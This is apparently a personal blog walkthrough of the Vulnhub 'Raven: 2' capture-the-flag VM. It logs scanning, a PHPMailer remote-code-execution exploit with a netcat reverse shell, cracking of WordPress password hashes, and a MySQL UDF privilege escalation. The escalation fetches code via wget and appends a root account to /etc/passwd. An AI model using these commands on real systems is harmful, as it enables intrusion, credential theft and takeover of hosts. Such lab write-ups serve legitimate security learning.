Sunday 3 February 2019

Vulnhub Walkthrough - Raven: 2

It's been a while since I've made a post. Even longer since I've attempted another Vulnhub walk-through. Today I completed the latest boot2root from Raven. 

You can download a copy of the VM from here:
https://www.vulnhub.com/entry/raven-2,269/#




So let's get straight into it.

--> MISSION
Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?

--> REC0N / ENUMERATION
Firstly, I find the IP address of the target machine using netdiscover. The target IP address is 192.168.253.132.

Now for a full 65K TCP port scan to get a quick idea of what ports are available:


root@kali:~# nmap -Pn -sS -n -v -p- 192.168.253.132
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-22 07:53 AEDT
Initiating ARP Ping Scan at 07:53
Scanning 192.168.253.132 [1 port]
Completed ARP Ping Scan at 07:53, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 07:53
Scanning 192.168.253.132 [65535 ports]
Discovered open port 22/tcp on 192.168.253.132
Discovered open port 111/tcp on 192.168.253.132
Discovered open port 80/tcp on 192.168.253.132
Discovered open port 52675/tcp on 192.168.253.132
Completed SYN Stealth Scan at 07:53, 2.14s elapsed (65535 total ports)
Nmap scan report for 192.168.253.132
Host is up (0.00058s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
52675/tcp open unknown

MAC Address: 00:0C:29:C6:56:E8 (VMware)


So, we have tcp/22, tcp/80, tcp/111 & tcp/52675. I now execute an aggressive nmap scan to enumerate the services sitting behind these ports. This will also execute nmaps built-in scripts that are relevant for the discovered services.

root@kali:~# nmap -Pn -A -n -v -p- 192.168.253.132
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-22 07:54 AEDT
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.00s elapsed
Initiating ARP Ping Scan at 07:54
Scanning 192.168.253.132 [1 port]
Completed ARP Ping Scan at 07:54, 0.04s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 07:54
Scanning 192.168.253.132 [65535 ports]
Discovered open port 80/tcp on 192.168.253.132
Discovered open port 111/tcp on 192.168.253.132
Discovered open port 22/tcp on 192.168.253.132
Discovered open port 52675/tcp on 192.168.253.132
Completed SYN Stealth Scan at 07:54, 2.27s elapsed (65535 total ports)
Initiating Service scan at 07:54
Scanning 4 services on 192.168.253.132
Completed Service scan at 07:54, 11.02s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.253.132
NSE: Script scanning 192.168.253.132.
Initiating NSE at 07:54
Completed NSE at 07:54, 0.20s elapsed
Initiating NSE at 07:54
Completed NSE at 07:54, 0.01s elapsed
Nmap scan report for 192.168.253.132
Host is up (0.00048s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
| 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_ 256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 52675/tcp status
|_ 100024 1 55774/udp status
52675/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:C6:56:E8 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 199.640 days (since Tue Jun 5 15:33:43 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


From the results we can see:
  1. An SSH server sitting behind tcp/22 running OpenSSH 6.7p1 Debian 5+deb8u4.
  2. An Apache webserver running Apache 2.4.10 on tcp/80
  3. RPCBind services running on tcp/111 and tcp/52675
  4. The server is potentially running Linux Kernel 3.2-4.9
I run a Nikto scan against the webserver to provide a quick run-down of any obvious vulnerabilities:

root@kali:~# nikto -h 192.168.253.132
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.253.132
+ Target Hostname: 192.168.253.132
+ Target Port: 80
+ Start Time: 2018-12-22 07:57:27 (GMT11)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x41b3 0x5734482bdcb00
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Uncommon header 'link' found, with contents: <http://raven.local/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
+ /wordpress/: A Wordpress installation was found.
+ 7535 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time: 2018-12-22 07:57:49 (GMT11) (22 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

What stands out the most to me is detection of a WordPress installation. Also, of note is an older version of Apache server (there may be some vulnerabilities here), as well as a few directory listings.
I navigate to the webpage (https://192.168.254.132) and have a look around. Nothing really stands out to me. There is an admin login page on the WordPress portal. I also notice it’s running the twentyseventeen plugin from the comments in the server response. (Perhaps some vulns there..?)


Before I start a brute-force attempt on the login screen I fire off a scan using wpscan.

root@kali:~# wpscan --url http://192.168.253.132/wordpress --wp-content-dir wp-content
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.4.1
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.253.132/wordpress/
[+] Started: Sat Dec 22 09:18:01 2018

Interesting Finding(s):
[+] http://192.168.253.132/wordpress/
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://192.168.253.132/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.253.132/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.253.132/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] WordPress version 4.8.8 identified (Latest, released on 2018-12-13).
| Detected By: Emoji Settings (Passive Detection)
| - http://192.168.253.132/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.8'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.253.132/wordpress/, Match: 'WordPress 4.8.8'

[i] The main theme could not be detected.
[+] Enumerating All Plugins
[i] No plugins Found.
[+] Enumerating Config Backups
Checking Config Backups - Time: 00:00:00 <==============================================================================================================================================================================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.
[+] Finished: Sat Dec 22 09:18:04 2018
[+] Requests Done: 38
[+] Cached Requests: 6
[+] Data Sent: 7.229 KB
[+] Data Received: 24.328 KB
[+] Memory used: 51.105 MB
[+] Elapsed time: 00:00:02
root@kali:~# 


A few things, but first I look at the detection of an uploads directory and navigate to it. Here I find my first flag located in ../2018/11/flag3.png:


I also notice in the server response (burp screenshot) the comments reference the server as raven.local. In the past, (my GoldenEye vulnhub walkthrough was an example), sometimes you can bypass server-side filters if you address the server using it’s FQDN. To do this, I add raven.local into my local hosts file:

root@kali:~# echo "192.168.253.132 raven.local" >> /etc/hosts

This doesn’t seem to help me or lead me anywhere, but I do it anyway 😊
After looking through the site for a while, next I kick off a dirbuster directory scan. Quite a few results come back. To filter out most of the repeated subdirectories and only output the parent directories, I run the following:


root@kali:~/Documents/raven# cat DirBusterReport-raven.local-80.txt | cut -d "/" -f 2 | sort -u
--------------------------------
about.html
contact.php
css
DirBuster 1.0-RC1 - Report
Directories found during testing:
Dirs found with a 200 response:
Dirs found with a 403 response:
Files found during testing:
Files found with a 200 responce:
Files found with a 301 responce:
Files found with a 403 responce:
Files found with a 500 responce:
icons
img
index.html
js
manual
.php
Report produced on Sat Feb 02 16:51:38 AEDT 2019
service.html
team.html
vendor
wordpress


The directory that instantly sticks out is the vendor directory. Looking around I find a PATH page here http://raven.local/vendor/PATH which leads me to flag1!



flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

I noticed this is an installation directory of PHPMailer. Opening the http://raven.local/vendor/VERSION page I find it’s running version: 5.2.16.

root@kali:~# searchsploit phpmailer
--------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------- ----------------------------------------
PHPMailer 1.7 - 'Data()' Remote Denial of Service | exploits/php/dos/25752.txt
PHPMailer < 5.2.18 - Remote Code Execution (Bash) | exploits/php/webapps/40968.php
PHPMailer < 5.2.18 - Remote Code Execution (PHP) | exploits/php/webapps/40970.php
PHPMailer < 5.2.18 - Remote Code Execution (Python) | exploits/php/webapps/40974.py
PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) | exploits/multiple/webapps/41688.rb
PHPMailer < 5.2.20 - Remote Code Execution | exploits/php/webapps/40969.pl
PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScr | exploits/php/webapps/40986.py
PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution | exploits/php/webapps/42221.py
PHPMailer < 5.2.21 - Local File Disclosure | exploits/php/webapps/43056.py
WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit) | exploits/php/remote/42024.rb
--------------------------------------------------------------------------------------------------- ----------------------------------------


Cha-ching. I think I’m onto something here. Rather than using the Metasploit module, I look at the python-based exploit.
Reading through the python RCE and CVE details (https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html)


In summary, the vulnerability that is exploited exist in the mail() function within PHPMailer.
The application uses setFrom() to take input from the sending user (this should be the senders email address). Under the hood, it's using sendmail. Looking around the site further, I find the contact.php page allows input from a site visitor to enter their email address. I assume the PHPMailer program is what’s used to provide this service. 


From reading the vulnerability further, it seems this vulnerable version of PHPMailer does not appropriately filter the third parameter within the sendmail command. This allows an attacker to essentially break out of the 3 parameter through escaping, and insert their own arbitrary code.


With this information, I update the exploit:

  • Target: Change to the contact.php page (this is what’s used to trigger the vuln)
  • Backdoor: This is the name of the malicious php (exploit) that will be uploaded
  • IP/Port: This is changed to my kali machine for the reverse shell
The exploit is then executed:

root@kali:~/Documents/raven# python 40974.py


I open another terminal and create a netcat listener on tcp/443 to accept an incoming reverse shell:

root@kali:~# nc -lvp 443
listening on [any] 443 ...


To trigger the exploit, I execute the reverse shell by navigating to the uploaded n33dle.php file:

root@kali:~/Documents/raven# curl http://192.168.253.132/n33dle.php


And there you have it, a shell. Nice.

root@kali:~# nc -lvp 443
listening on [any] 443 ...
connect to [192.168.253.131] from raven.local [192.168.253.132] 41127
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:c6:56:e8
inet addr:192.168.253.132 Bcast:192.168.253.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fec6:56e8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:208 errors:0 dropped:0 overruns:0 frame:0
TX packets:233 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:17195 (16.7 KiB) TX bytes:28320 (27.6 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:91 errors:0 dropped:0 overruns:0 frame:0
TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:13578 (13.2 KiB) TX bytes:13578 (13.2 KiB)

$ hostname
Raven



As usual, I spawn a python tty shell using: 

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Raven:/var/www/html$ 


I also locate flag2.txt sitting in www-data’s home directory:

www-data@Raven:/var/www$ cat flag2.txt
cat flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
www-data@Raven:/var/www$ 



--> TIME TO PE
Let’s look at what OS and Kernel we’re running:

www-data@Raven:/var/www/html$ uname -ra
uname -ra
Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux
www-data@Raven:/var/www/html$ cat /etc/*release
cat /etc/*release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
www-data@Raven:/var/www/html$ 


Debian 8 (Jessie) on Linux 3.16.0-6-amd64.
And a quick look at any additional users on the system:


www-data@Raven:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
michael:x:1000:1000:michael,,,:/home/michael:/bin/bash
smmta:x:108:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:109:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
mysql:x:110:116:MySQL Server,,,:/nonexistent:/bin/false

steven:x:1001:1001::/home/steven:/bin/sh

There’s a michael and steven account. Let’s see what groups they’re members of:


www-data@Raven:/home$ id steven
id steven
uid=1001(steven) gid=1001(steven) groups=1001(steven)
www-data@Raven:/home$ id michael
id michael
uid=1000(michael) gid=1000(michael) groups=1000(michael),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
www-data@Raven:/home$ 


Hmmm, nothing really of interest at this stage. Looking at their home drives, nothing interesting here either:

www-data@Raven:/$ ls -laR /home
ls -laR /home
/home:
total 16
drwxr-xr-x 4 root root 4096 Aug 13 13:51 .
drwxr-xr-x 22 root root 4096 Aug 13 07:38 ..
drwxr-xr-x 2 michael michael 4096 Aug 13 07:52 michael
drwxr-xr-x 2 root root 4096 Aug 13 14:20 steven

/home/michael:
total 20
drwxr-xr-x 2 michael michael 4096 Aug 13 07:52 .
drwxr-xr-x 4 root root 4096 Aug 13 13:51 ..
-rw-r--r-- 1 michael michael 220 Aug 13 07:52 .bash_logout
-rw-r--r-- 1 michael michael 3515 Aug 13 07:52 .bashrc
-rw-r--r-- 1 michael michael 675 Aug 13 07:52 .profile

/home/steven:
total 8
drwxr-xr-x 2 root root 4096 Aug 13 14:20 .
drwxr-xr-x 4 root root 4096 Aug 13 13:51 ..
www-data@Raven:/$ 


I run the linuxprivchecker.py tool and analyse its output. I notice the wp-config.php file is world-writable, and it has also been modified by www-data. Obviously, this has been modified by the VM creator.
Reading it’s contents, I find some local DB creds.


www-data@Raven:/var/www$ cat /var/www/html/wordpress/wp-config.php
cat /var/www/html/wordpress/wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');


I also confirm a MySQL server is running locally:

www-data@Raven:/var/www$ netstat -tl
netstat -tl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:48453 *:* LISTEN
tcp 0 0 localhost:mysql *:* LISTEN
tcp 0 0 localhost:submission *:* LISTEN
tcp 0 0 *:sunrpc *:* LISTEN
tcp 0 0 *:ssh *:* LISTEN
tcp 0 0 localhost:smtp *:* LISTEN
tcp6 0 0 [::]:54187 [::]:* LISTEN
tcp6 0 0 [::]:sunrpc [::]:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN 


Let’s try connecting:

www-data@Raven:/var/www$ mysql -h localhost -u root -p
mysql -h localhost -u root -p
Enter password: R@v3nSecurity

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.00 sec)

mysql> 

Awesome. Now let’s have a quick snoop around. Check the users:

mysql> use wordpress;
use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | | 0 | michael |
| 2 | steven | $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad. | steven | steven@raven.org | | 2018-08-12 23:31:16 | | 0 | Steven Seagull |

+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)

mysql> 

Let's try cracking those. I output them to file on my Kali box and run john:

root@kali:~/Documents/raven# john --wordlist=/usr/share/wordlists/rockyou.txt pwords
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status


While that’s running, I check what version of mysql is running:

mysql> show variables like "%version%";
show variables like "%version%";
+-------------------------+------------------+
| Variable_name | Value |
+-------------------------+------------------+
| innodb_version | 5.5.60 |
| protocol_version | 10 |
| slave_type_conversions | |
| version | 5.5.60-0+deb8u1 |
| version_comment | (Debian) |
| version_compile_machine | x86_64 |
| version_compile_os | debian-linux-gnu |
+-------------------------+------------------+
7 rows in set (0.00 sec)


Reviewing my results again from linuxprivchecker.py, I see the mysql version is vuln to the UDF local privilege escalation exploit.

...
[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...
Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!
The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system
- Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit || http://www.exploit-db.com/exploits/5720 || Language=python

- MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
...

I’ve seen and used this before. This exploit allows you to write and access files as root within mysql. This essentially allows you to own the box as you can create new users, modify existing and/or basically do anything you like!
First I download the exploit to the target using the python SimpleHTTPServer and wget.

www-data@Raven:/var/www$ wget http://192.168.253.131/1518.c
wget http://192.168.253.131/1518.c
converted 'http://192.168.253.131/1518.c' (ANSI_X3.4-1968) -> 'http://192.168.253.131/1518.c' (UTF-8)
--2019-02-03 08:18:09-- http://192.168.253.131/1518.c
Connecting to 192.168.253.131:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3378 (3.3K) [text/plain]
Saving to: '1518.c'

1518.c 100%[=====================>] 3.30K --.-KB/s in 0s
2019-02-03 08:18:09 (705 MB/s) - '1518.c' saved [3378/3378]
www-data@Raven:/var/www$

Following the exploit instructions I rename and compile it:

www-data@Raven:/var/www$ mv 1518.c n33dle.c
mv 1518.c n33dle.c
www-data@Raven:/var/www$ gcc -g -c n33dle.c
gcc -g -c n33dle.c
root@kali:~/Documents/raven# gcc -g -shared -Wl,-soname,n33dle.so -o n33dle.so n33dle.o -lc
gcc -g -shared -Wl,-soname,n33dle.so -o n33dle.so n33dle.o -lc


With the n33dle.so SUID file created, I log back into the mysql db and follow the rest of the exploit instructions.

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/var/www/n33dle.so'));
insert into foo values(load_file('/var/www/n33dle.so'));
Query OK, 1 row affected (0.02 sec)

mysql> select * from foo into dumpfile '/var/www/n33dle.so';
select * from foo into dumpfile '/var/www/n33dle.so';
ERROR 1086 (HY000): File '/var/www/n33dle.so' already exists
mysql> select * from foo into dumpfile '/usr/lib/n33dle.so';
select * from foo into dumpfile '/usr/lib/n33dle.so';
Query OK, 1 row affected (0.01 sec)

mysql> create function do_system returns integer soname 'n33dle.so';
create function do_system returns integer soname 'n33dle.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+-----------+----------+
| name | ret | dl | type |
+-----------+-----+-----------+----------+
| do_system | 2 | n33dle.so | function |
+-----------+-----+-----------+----------+
1 row in set (0.00 sec)


What I’ve done here is essentially link the do_system function to a SUID n33dle.so file. This can now be called within mysql to execute any system command as root. A cool trick I’ve found is creating a new root user. In the past I’ve modified the existing root user, removing the ‘x’ from /etc/passwd. This would allow me to su to root without a password. However, this will most likely break the system and cause a DoS. So instead, lets create a new root user with a password I’ve set.
On my Kali box, I create the hashed password of ‘n33dle’.


root@kali:~/Documents/raven# openssl passwd n33dle
RHV9/0Q6VW2nI

Using the hashed password above. I call the do_system function in the mysql database and echo a new line into the Raven /etc/passwd file. This creates a new root level user with a username and password of n33dle:n33dle:

mysql> select do_system('echo "n33dle:RHV9/0Q6VW2nI:0:0:root:/root:/bin/bash" >> /etc/passwd');
<ho "n33dle:RHV9/0Q6VW2nI:0:0:root:/root:/bin/bash" >> /etc/passwd');
+----------------------------------------------------------------------------------+
| do_system('echo "n33dle:RHV9/0Q6VW2nI:0:0:root:/root:/bin/bash" >> /etc/passwd') |
+----------------------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------------------+
1 row in set (0.00 sec)




Exit out of the mysql db and it’s easy as changing to the newly created root user ‘n33dle’:

www-data@Raven:/var/www$ su n33dle
su n33dle
Password: n33dle
root@Raven:/var/www# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/var/www# whoami
whoami
root
root@Raven:/var/www# 


And there we have it, I’m now root! To finish it off, the final flag:

root@Raven:/var/www# cd /root
cd /root
root@Raven:~# ls
ls
flag4.txt
root@Raven:~# cat flag4.txt
cat flag4.txt
___ ___ ___
| _ \__ ___ _____ _ _ |_ _|_ _|
| / _` \ V / -_) ' \ | | | |
|_|_\__,_|\_/\___|_||_|___|___|

flag4{df2bc5e951d91581467bb9a2a8ff4425}
CONGRATULATIONS on successfully rooting RavenII
I hope you enjoyed this second interation of the Raven VM
Hit me up on Twitter and let me know what you thought:
@mccannwj / wjmccann.github.io
root@Raven:~#



The password crack ended up finishing and locating steven’s password:

root@kali:~/Documents/raven# john --wordlist=/usr/share/wordlists/rockyou.txt pwords
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
LOLLOL1 (?)
1g 0:00:41:01 DONE (2019-02-03 08:47) 0.000406g/s 5827p/s 6253c/s 6253C/s ..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed


I tried to SSH as steven, but that didn’t work. Given they are WordPress creds, they did however let me login to the Wordpress admin portal. Perhaps there’s some other vuln here... Anyway, I’m done!

Hope you enjoyed.

--> n33dle